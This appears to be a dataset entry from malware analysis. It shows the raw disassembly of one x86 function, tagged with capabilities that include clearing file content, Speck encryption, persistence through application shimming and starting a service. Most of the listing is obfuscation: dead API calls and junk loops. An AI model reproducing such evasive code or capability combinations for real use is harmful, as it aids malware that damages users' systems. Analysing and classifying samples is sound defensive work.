Function at 0x46a566
Capabilities:
Clear file content
Encrypt data using speck
Persist via application shimming
Query environment variable
Start service

Disassembly:
mov eax, 0x4ca201
call fcn.004c9590
push ecx
mov eax, 0x1034
call fcn.004c5f30
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov byte [ebp - 0x60], dl
mov dword [ebp - 0x138], ecx
xor edi, edi
inc edi
push edi
lea ecx, [ebp - 0x328]
call fcn.00450d2f
mov dword [ebp - 0x7c], 0xbdde
mov dword [ebp - 0x78], 0xbdde
mov dword [ebp - 0x74], 0xbdde
mov dword [ebp - 0x70], 0xbdde
mov dword [ebp - 0x2c], 0xfffffffa
mov dword [ebp - 0x4c0], 0xf33f
mov dword [ebp - 0x4bc], 0xf33f
mov dword [ebp - 0x4b8], 0xf33f
mov dword [ebp - 0x4b4], 0xf33f
mov dword [ebp - 0x30], 0x24307a32
xor eax, eax
mov dword [ebp - 0x20], eax
push 4
pop esi
cmp dword [ebp - 0x20], esi
jge 0x46a610
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0xdac], 0xfffffff6
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jl 0x46a5f8
xor eax, eax
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], 0
je 0x46a62d
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
xor eax, eax
mov dword [ebp - 0x2c], eax
push 2
pop ebx
cmp dword [ebp - 0x2c], 3
jg 0x46a6ef
push ebx
lea ecx, [ebp - 0x490]
call fcn.00450d2f
xor eax, eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], ebx
jge 0x46a670
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x490]
mov dword [eax + ecx*4], 0x4ccb63e8
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jl 0x46a656
xor eax, eax
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], 0
je 0x46a68a
push 0x2564
push 0x1c1a
push eax
call dword [sym.imp.USER32.dll_CheckMenuItem]
mov eax, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x4c0]
dec edx
neg edx
sbb edx, edx
neg edx
xor ecx, ecx
mov eax, dword [ebp - 0x490]
cmp dword [eax], edx
sete cl
mov eax, dword [ebp - 0x4c0]
imul eax, ecx
test eax, eax
jne 0x46a6c3
mov eax, dword [ebp - 0x490]
cmp dword [eax], 0
jne 0x46a6c3
xor edx, edx
jmp 0x46a6c5
mov edx, edi
mov eax, dword [ebp - 0x3c]
xor ecx, ecx
cmp edx, eax
sete cl
mov dword [ebp - 0xda0], ecx
lea ecx, [ebp - 0x490]
call fcn.00450e01
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 3
jle 0x46a63d
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], edi
jge 0x46a711
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x328]
mov dword [eax + ecx*4], 0x91a049fe
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edi
jl 0x46a6f7
xor eax, eax
mov dword [ebp - 0x7c], 0xbdde
mov dword [ebp - 0x78], 0xbdde
mov dword [ebp - 0x74], 0xbdde
mov dword [ebp - 0x70], 0xbdde
mov dword [ebp - 0x2c], 0xfffffffa
mov dword [ebp - 0x4d8], 0xf33f
mov dword [ebp - 0x4d4], 0xf33f
mov dword [ebp - 0x4d0], 0xf33f
mov dword [ebp - 0x4cc], 0xf33f
mov dword [ebp - 0x30], 0x24307a32
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], esi
jge 0x46a783
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0xd3c], 0xfffffff6
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jl 0x46a76b
xor eax, eax
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], 0
je 0x46a7a0
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
xor eax, eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 3
jg 0x46a85f
push ebx
lea ecx, [ebp - 0x394]
call fcn.00450d2f
xor eax, eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], ebx
jge 0x46a7e0
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x394]
mov dword [eax + ecx*4], 0x4ccb63e8
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jl 0x46a7c6
xor eax, eax
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], 0
je 0x46a7fa
push 0x2564
push 0x1c1a
push eax
call dword [sym.imp.USER32.dll_CheckMenuItem]
mov eax, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x4d8]
dec edx
neg edx
sbb edx, edx
neg edx
xor ecx, ecx
mov eax, dword [ebp - 0x394]
cmp dword [eax], edx
sete cl
mov eax, dword [ebp - 0x4d8]
imul eax, ecx
test eax, eax
jne 0x46a833
mov eax, dword [ebp - 0x394]
cmp dword [eax], 0
jne 0x46a833
xor edx, edx
jmp 0x46a835
mov edx, edi
mov eax, dword [ebp - 0x3c]
xor ecx, ecx
cmp edx, eax
sete cl
mov dword [ebp - 0xd30], ecx
lea ecx, [ebp - 0x394]
call fcn.00450e01
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 3
jle 0x46a7ad
xor eax, eax
mov ecx, dword [ebp - 0x328]
mov dword [ecx], eax
or esi, 0xffffffff
cmp dword [ecx], 6
jl 0x46b216
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x58], 0xfffffff9
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x38], 0xb6046e74
mov dword [ebp - 0x3c], 0x9172ddb7
push 4
lea ecx, [ebp - 0x580]
call fcn.00450d2f
mov dword [ebp - 0x28], 0x80bfe737
mov dword [ebp - 0x48], edi
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x24], 0xdbfd
mov dword [ebp - 0x2c], 0
jmp 0x46a8ca
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x580]
mov dword [eax + ecx*4], edi
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 4
jl 0x46a8bb
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
dec dword [ebp - 0x28]
cmp eax, 0x14
jge 0x46a8e4
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x20]
mov esi, dword [ebp - 0x580]
xor eax, eax
cmp dword [esi + 8], edi
setl al
mov ecx, dword [ebp - 0x58]
add ecx, eax
mov eax, dword [ebp - 0x20]
xor edx, edx
cmp eax, ecx
setg dl
mov eax, dword [ebp - 0x50]
xor ecx, ecx
cmp edx, eax
setne cl
cmp dword [ebp - 0x20], ecx
jne 0x46a91f
xor eax, eax
cmp dword [ebp - 0x38], eax
mov ecx, eax
je 0x46a921
mov ecx, edi
mov eax, dword [ebp - 0x18]
sub ecx, eax
dec ecx
mov dword [ebp - 0x3c], ecx
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x20]
xor edx, edx
cmp eax, ecx
setle dl
mov dword [ebp - 0x3c], edx
mov eax, dword [ebp - 0x3c]
mov dword [esi + 8], edi
mov ecx, dword [ebp - 0x20]
inc ecx
mov eax, dword [ebp - 0x58]
xor edx, edx
cmp ecx, eax
setl dl
mov eax, dword [ebp - 0x48]
xor ecx, ecx
cmp edx, eax
setne cl
sub ecx, dword [ebp - 0x18]
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x50], ecx
inc dword [ebp - 0x24]
lea ecx, [ebp - 0x580]
call fcn.00450e01
mov dword [ebp - 0x1c], 9
mov dword [ebp - 0x54], 0xfffffff7
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 4
jge 0x46a9a6
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x8c0], 0xa8eac8b
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 4
jl 0x46a98d
xor eax, eax
mov dword [ebp - 0x1c], eax
push 3
pop esi
jmp 0x46a9c3
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], 0
je 0x46a9c0
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
xor eax, eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jle 0x46a9ae
mov dword [ebp - 0x1c], 0x11
jmp 0x46ab00
mov dword [ebp - 0x3c], 0xa4d9a54e
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], edi
jge 0x46a9fb
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x8c], 0xfffffff9
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edi
jl 0x46a9e3
xor eax, eax
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0xfffffff9
jle 0x46aafd
mov dword [ebp - 0x24], 0x836b16b4
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x24], 0
jmp 0x46aadf
mov dword [ebp - 0x3c], 0xfffffff8
mov dword [ebp - 0x20], 0
jmp 0x46aa44
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0xdc], edi
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jl 0x46aa37
mov dword [ebp - 0xdc], 0
jmp 0x46aad0
mov dword [ebp - 0x54], 0xdba1dd79
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x8c0]
xor edx, edx
test eax, eax
setne dl
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x8c0]
xor ecx, ecx
cmp edx, 0xffffffff
setge cl
mov eax, dword [ebp - 0x8c]
xor edx, edx
cmp ecx, eax
setne dl
mov eax, dword [ebp - 0x8b4]
xor ecx, ecx
cmp edx, eax
setle cl
mov dword [ebp - 0x3c], ecx
mov eax, dword [ebp - 0x8c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0xdc]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x8c0]
add eax, 0x3a7e
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x3c], 0xfffffff6
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x54], eax
inc dword [ebp - 0xdc]
cmp dword [ebp - 0xdc], esi
jle 0x46aa55
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jle 0x46aa27
dec dword [ebp - 0x8c]
cmp dword [ebp - 0x8c], 0xfffffff9
jg 0x46aa0e
xor eax, eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0x14
jge 0x46a9d4
mov dword [ebp - 0x18], 0xed080c17
mov dword [ebp - 0x38], 0x58ed
push ebx
lea ecx, [ebp - 0x598]
call fcn.00450d2f
mov dword [ebp - 0x18], 0x6c9cd49f
mov dword [ebp - 0x28], 0
push ebx
lea ecx, [ebp - 0x760]
call fcn.00450d2f
xor eax, eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], 0x6095dbc2
mov dword [ebp - 0x20], 0xfc167656
mov dword [ebp - 0x3c], 0x13ed423c
mov dword [ebp - 0x54], edi
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x46ab7d
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x598]
mov dword [eax + ecx*4], 0x87a7525d
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x46ab63
xor eax, eax
mov dword [ebp - 0x1c], eax
jmp 0x46ab95
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x760]
mov dword [eax + ecx*4], 0x7e815f84
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x46ab82
mov edx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x598]
mov dword [eax + 4], edx
mov dword [ebp - 0x28], edi
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x18]
imul ecx, eax
mov eax, dword [ebp - 0x760]
mov dword [eax + 4], ecx
mov eax, dword [ebp - 0x18]
neg ecx
xor ebx, ebx
cmp ecx, eax
setle bl
mov eax, dword [ebp - 0x18]
xor ecx, ecx
cmp edx, eax
setg cl
xor edx, edx
cmp ecx, ebx
setg dl
xor eax, eax
cmp edx, 0xfffffffb
setne al
cmp eax, 0x49cec79e
jl 0x46abf1
cmp dword [ebp - 0x28], 0
je 0x46abf1
mov eax, edi
jmp 0x46abf3
xor eax, eax
cmp eax, 0x886255d5
sbb edx, edx
neg edx
mov eax, dword [ebp - 0x38]
xor ecx, ecx
cmp edx, eax
setge cl
mov dword [ebp - 0x2c], ecx
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x18]
sub eax, 0xffff1ef7
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x3c], eax
mov ecx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x38]
xor edx, edx
cmp ecx, eax
setne dl
mov dword [ebp - 0x54], edx
xor eax, eax
mov dword [ebp - 0x2c], eax
jmp 0x46ac6a
mov dword [ebp - 0x20], eax
jmp 0x46ac62
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], 0
je 0x46ac5f
push 0x20f6
push 0xfe9
call dword [sym.imp.GDI32.dll_SetTextAlign]
xor eax, eax
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edi
jle 0x46ac44
dec dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0xffffffee
jne 0x46ac3f
lea ecx, [ebp - 0x760]
call fcn.00450e01
lea ecx, [ebp - 0x598]
call fcn.00450e01
mov dword [ebp - 0x2c], 0xfffffff7
mov dword [ebp - 0x1c], 0x5052061f
mov dword [ebp - 0x44], 0x31eb2391
mov dword [ebp - 0x20], 0xfffffffa
mov dword [ebp - 0x54], 0
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
sbb ecx, ecx
inc ecx
mov eax, dword [ebp - 0x1c]
xor edx, edx
cmp ecx, eax
setge dl
mov eax, dword [ebp - 0x1c]
xor ebx, ebx
cmp edx, eax
setle bl
add ebx, 2
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
cmp ebx, eax
setne cl
add ecx, dword [ebp - 0x1c]
xor eax, eax
cmp ecx, dword [ebp - 0x1c]
jle 0x46ace4
cmp dword [ebp - 0x1c], eax
mov ecx, eax
je 0x46ace6
mov ecx, edi
mov dword [ebp - 0x44], ecx
cmp dword [ebp - 0x44], eax
je 0x46ad24
mov dword [ebp - 0x30], 0xfffffff8
mov dword [ebp - 0x3c], 0x7511ecbf
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x3c]
xor eax, eax
cmp dword [ebp - 0x1c], eax
jl 0x46ad10
cmp dword [ebp - 0x44], eax
mov edx, eax
je 0x46ad12
mov edx, edi
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
cmp edx, eax
sete cl
add ecx, dword [ebp - 0x3c]
mov dword [ebp - 0x20], ecx
jmp 0x46ad34
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], 0
je 0x46ad36
push eax
call dword [sym.imp.USER32.dll_DestroyMenu]
xor eax, eax
cmp dword [ebp - 0x20], eax
jne 0x46ad62
mov eax, dword [ebp - 0x44]
xor eax, eax
cmp dword [ebp - 0x1c], eax
jne 0x46ad4d
cmp dword [ebp - 0x44], eax
jne 0x46ad4d
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
neg eax
sbb eax, eax
neg eax
add eax, dword [ebp - 0x44]
cmp eax, dword [ebp - 0x20]
jg 0x46ad62
xor ecx, ecx
jmp 0x46ad64
mov ecx, edi
xor eax, eax
cmp ecx, 6
sete al
mov ecx, dword [ebp - 0x20]
sub ecx, eax
mov eax, dword [ebp - 0x1c]
xor edx, edx
cmp ecx, eax
setge dl
sub edx, 0x777f
neg edx
sbb edx, edx
inc edx
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0x20]
xor edx, edx
cmp eax, 0x7924
setg dl
add edx, dword [ebp - 0x44]
xor ecx, ecx
cmp edx, edi
setl cl
xor eax, eax
cmp ecx, 0xfffffffc
setg al
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
dec eax
mov dword [ebp - 0x54], eax
push 2
pop ebx
push ebx
lea ecx, [ebp - 0x5b0]
call fcn.00450d2f
push ebx
lea ecx, [ebp - 0xb1c]
call fcn.00450d2f
mov dword [ebp - 0x54], 0xa1a4d63a
push 4
lea ecx, [ebp - 0x850]
call fcn.00450d2f
mov dword [ebp - 0x8f0], edi
mov dword [ebp - 0x8ec], edi
mov dword [ebp - 0x8e8], edi
mov dword [ebp - 0x8e4], edi
mov dword [ebp - 0x18], 0x9d3388a0
mov dword [ebp - 0x30], 0xc895
mov dword [ebp - 0x30], 0x97689278
mov dword [ebp - 0x44], 0
jmp 0x46ae27
mov ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x5b0]
or dword [eax + ecx*4], 0xffffffff
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], ebx
jl 0x46ae17
mov dword [ebp - 0x44], 0
jmp 0x46ae48
mov ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0xb1c]
mov dword [eax + ecx*4], 9
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], ebx
jl 0x46ae35
mov dword [ebp - 0x44], 0
jmp 0x46ae65
mov ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x850]
mov dword [eax + ecx*4], edi
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], 4
jl 0x46ae56
mov dword [ebp - 0x44], 0
jmp 0x46ae85
mov eax, dword [ebp - 0x44]
mov dword [ebp + eax*4 - 0xbb8], 0x8d247f69
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], ebx
jl 0x46ae74
mov esi, dword [ebp - 0x5b0]
mov dword [ebp - 0x58], esi
mov dword [esi + 4], 0xffffffea
mov dword [ebp - 0x24], 0xe2c0d37a
mov dword [ebp - 0x4c], 0xfffffffe
push 3
lea ecx, [ebp - 0x3d0]
call fcn.00450d2f
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x3c], 0x819b53b3
mov dword [ebp - 0x20], 0
jmp 0x46aed8
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x3d0]
or dword [eax + ecx*4], 0xffffffff
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 3
jl 0x46aec8
mov dword [ebp - 0x24], edi
cmp dword [ebp - 0x24], 0
jl 0x46b050
mov edi, dword [ebp - 0x850]
mov esi, dword [ebp - 0x3d0]
mov dword [ebp - 0x38], 0xffffffff
mov dword [ebp - 0x30], 0x1bf07968
xor ebx, ebx
inc ebx
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x5c], 2
push 3
lea ecx, [ebp - 0x2c8]
call fcn.00450d2f
mov dword [ebp - 0x30], 0x19c36c1
mov dword [ebp - 0x30], 0x1d4b4ea6
mov dword [ebp - 0x48], 0xffffffff
mov dword [ebp - 0x20], 0
jmp 0x46af50
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x2c8]
mov dword [eax + ecx*4], 0x7af9ca3e
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 3
jl 0x46af3d
cmp dword [ebp - 0x3c], 0
je 0x46af6b
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x8e8], ebx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x24]
dec eax
neg eax
sbb eax, eax
neg eax
mov dword [edi + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x38], 0
mov eax, dword [ebp - 0x38]
mov ecx, 0xaac4e246
cmp ecx, eax
sbb eax, eax
neg eax
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
dec dword [ebp - 0x28]
mov ecx, dword [ebp - 0x48]
add ecx, 0xfffffffa
mov eax, dword [ebp - 0x2c8]
mov dword [eax], ecx
mov dword [ebp - 0x54], ecx
cmp dword [esi + 8], 0xe55e
jg 0x46afc3
cmp dword [ebp - 0x4c], 0
je 0x46afc3
mov edx, ebx
jmp 0x46afc5
xor edx, edx
mov eax, dword [ebp - 0x24]
xor ecx, ecx
cmp eax, edx
setl cl
mov dword [ebp - 0x38], ecx
mov ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x24]
xor edx, edx
cmp eax, ecx
setle dl
mov eax, dword [ebp - 0xbb4]
xor ecx, ecx
cmp edx, eax
setg cl
sub ecx, 9
neg ecx
sbb ecx, ecx
inc ecx
push 0
pop eax
sets al
xor ecx, ecx
cmp eax, 0x9de5
setne cl
mov eax, dword [ebp - 0x18]
xor edx, edx
cmp ecx, eax
setg dl
mov eax, dword [ebp - 0x2c8]
add edx, dword [eax + 8]
xor ebx, ebx
mov eax, dword [ebp - 0x3d0]
cmp edx, dword [eax]
setg bl
mov eax, dword [ebp - 0x5c]
xor ecx, ecx
cmp ebx, eax
setg cl
mov eax, dword [ebp - 0x2c8]
mov dword [eax], ecx
lea ecx, [ebp - 0x2c8]
call fcn.00450e01
dec dword [ebp - 0x24]
jns 0x46aef7
mov esi, dword [ebp - 0x58]
xor edi, edi
inc edi
lea ecx, [ebp - 0x3d0]
call fcn.00450e01
inc dword [esi + 4]
cmp dword [esi + 4], 0xfffffff4
jne 0x46ae9a
lea ecx, [ebp - 0x850]
call fcn.00450e01
lea ecx, [ebp - 0xb1c]
call fcn.00450e01
lea ecx, [ebp - 0x5b0]
call fcn.00450e01
mov dword [ebp - 0x20], 0
jmp 0x46b0a3
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0xe94], 0xf84b8114
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 3
jl 0x46b092
push 4
lea ecx, [ebp - 0xb34]
call fcn.00450d2f
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 4
jge 0x46b0dc
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0xb34]
mov dword [eax + ecx*4], 8
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 4
jl 0x46b0c1
xor eax, eax
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], 0
je 0x46b0f1
push eax
push eax
push eax
push eax
call dword [sym.imp.OLEAUT32.dll_VariantTimeToDosDateTime]
xor eax, eax
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], 0
je 0x46b101
push eax
call dword [sym.imp.KERNEL32.dll_SetDllDirectoryW]
lea ecx, [ebp - 0xb34]
call fcn.00450e01
xor eax, eax
mov dword [ebp - 0x18], eax
push 2
pop ebx
cmp dword [ebp - 0x18], ebx
jg 0x46b1ff
mov dword [ebp - 0x3c], 0x7f1
cmp dword [ebp - 0x3c], 0x904
jle 0x46b166
mov ebx, eax
mov edi, eax
mov esi, eax
lea eax, [esi + edi]
and eax, ebx
cdq
push edx
push eax
mov ecx, 0xaca3b8
call fcn.00450c1a
inc esi
cmp esi, 0x250c
jl 0x46b133
inc edi
cmp edi, 0x1f2c
push 0
pop eax
jl 0x46b131
inc ebx
cmp ebx, 0x5e0
jl 0x46b12f
push 2
pop ebx
mov dword [ebp - 4], eax
cmp dword [ebp - 0x3c], 0x631
jge 0x46b181
mov edx, str.snih_haopytv_fmilrmhf
mov ecx, 0xaca3b8
call fcn.004525c0
or dword [ebp - 4], 0xffffffff
xor eax, eax
xor edi, edi
inc edi
jmp 0x46b1b2
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x3c], 0x2304b25b
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x28], eax
je 0x46b1cc
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x3c], eax
jmp 0x46b1e3
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x3c], eax
xor eax, eax
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], al
je 0x46b1e5
push eax
call dword [sym.imp.GDI32.dll_CreateFontIndirectW]
xor eax, eax
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], 0
je 0x46b1f5
push eax
call dword [sym.imp.USER32.dll_ShowCursor]
inc dword [ebp - 0x18]
xor eax, eax
jmp 0x46b114
cmp dword [ebp - 0x2c], eax
jne 0x46b213
mov ecx, dword [ebp - 0x328]
inc dword [ecx]
xor eax, eax
jmp 0x46a867
or esi, 0xffffffff
lea ecx, [ebp - 0x328]
call fcn.00450e01
movdqa xmm0, xmmword [0xabe780]
movdqu xmmword [ebp - 0xc28], xmm0
lea ecx, [ebp - 0xc28]
lea eax, [ebp - 0xc18]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x1cc]
call fcn.00450ddb
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x54], esi
mov dword [ebp - 0x4c], 0xffff
mov dword [ebp - 0x1c], 0
jmp 0x46b272
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xcbc], 0xeac8b13e
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x46b261
mov dword [ebp - 0x1c], 0
jmp 0x46b292
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x4a8], 0x57736d0c
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x46b281
mov eax, dword [ebp - 0x1cc]
add eax, 4
and dword [eax], 0
cmp dword [eax], ebx
jg 0x46b50b
push edi
lea ecx, [ebp - 0x3e8]
call fcn.00450d2f
push 3
lea ecx, [ebp - 0x778]
call fcn.00450d2f
mov dword [ebp - 0x1c], 0
jmp 0x46b2e0
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x3e8]
mov dword [eax + ecx*4], 0xc9ca3191
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x46b2cd
mov dword [ebp - 0x1c], 0
jmp 0x46b2fd
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x778]
mov dword [eax + ecx*4], esi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x46b2ee
mov dword [ebp - 0x28], 0x56ec
cmp dword [ebp - 0x28], 0x5782
jle 0x46b35e
xor ebx, ebx
mov dword [ebp - 0x3c], ebx
xor esi, esi
xor edi, edi
mov eax, ebx
cdq
idiv esi
mov ebx, edx
mov eax, edi
xor eax, ebx
cdq
push edx
push eax
mov ecx, 0xaca3b8
call fcn.00450c1a
inc edi
cmp edi, 0x28cc
jl 0x46b323
inc esi
cmp esi, 0x1965
mov ebx, dword [ebp - 0x3c]
jl 0x46b31a
inc ebx
mov dword [ebp - 0x3c], ebx
cmp ebx, 0x7dc5
jl 0x46b318
xor edi, edi
inc edi
push 2
pop ebx
or esi, 0xffffffff
mov byte [ebp - 0x31], 0
mov dword [ebp - 4], ebx
cmp dword [ebp - 0x28], 0x56d0
jge 0x46b37d
mov edx, str.vfitvajj_zmfrq_bpd_gimbjdp_xuhy_qhjzeiic_dzn_jdgksjcjr
mov ecx, 0xaca3b8
call fcn.004525c0
mov dword [ebp - 4], esi
jmp 0x46b3a6
xor eax, eax
cmp byte [ebp - 0x31], al
je 0x46b3c4
push 0x1dd7
push 0x2135
push eax
push 0x264b
push eax
call dword [sym.imp.USER32.dll_GetMenuStringW]
xor eax, eax
cmp dword [ebp - 0x38], eax
je 0x46b406
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1cc]
mov eax, dword [eax + 4]
mov dword [ebp + eax*4 - 0xcbc], eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x4a8], edi
xor eax, eax
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], al
je 0x46b4e2
push 0x1eaf
push eax
call dword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
jmp 0x46b4e2
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], ebx
jge 0x46b429
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0xbb0], 0xf51b4373
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jl 0x46b411
xor eax, eax
mov ecx, dword [ebp - 0x3e8]
cmp dword [ecx], eax
jne 0x46b476
mov ecx, dword [ecx]
cmp dword [ebp - 0x4a8], ecx
jge 0x46b443
test ecx, ecx
mov edx, eax
je 0x46b445
mov edx, edi
xor ecx, ecx
mov eax, dword [ebp - 0x1cc]
cmp edx, dword [eax + 4]
setge cl
cmp ecx, 0xf0aeacb2
sbb ecx, ecx
inc ecx
mov eax, dword [ebp - 0x4c]
xor edx, edx
cmp ecx, eax
setge dl
mov eax, dword [ebp - 0x3e8]
mov dword [eax], edx
test edx, edx
jne 0x46b476
xor esi, esi
jmp 0x46b478
mov esi, edi
mov ecx, dword [ebp - 0x28]
xor edx, edx
mov eax, dword [ebp - 0x1cc]
cmp ecx, dword [eax]
setle dl
xor eax, eax
cmp edx, 0x514f
setne al
imul eax, esi
push 7
pop ecx
cmp ecx, eax
sbb eax, eax
inc eax
xor ecx, ecx
cmp eax, 0x5ee87909
setle cl
mov dword [ebp - 0x28], ecx
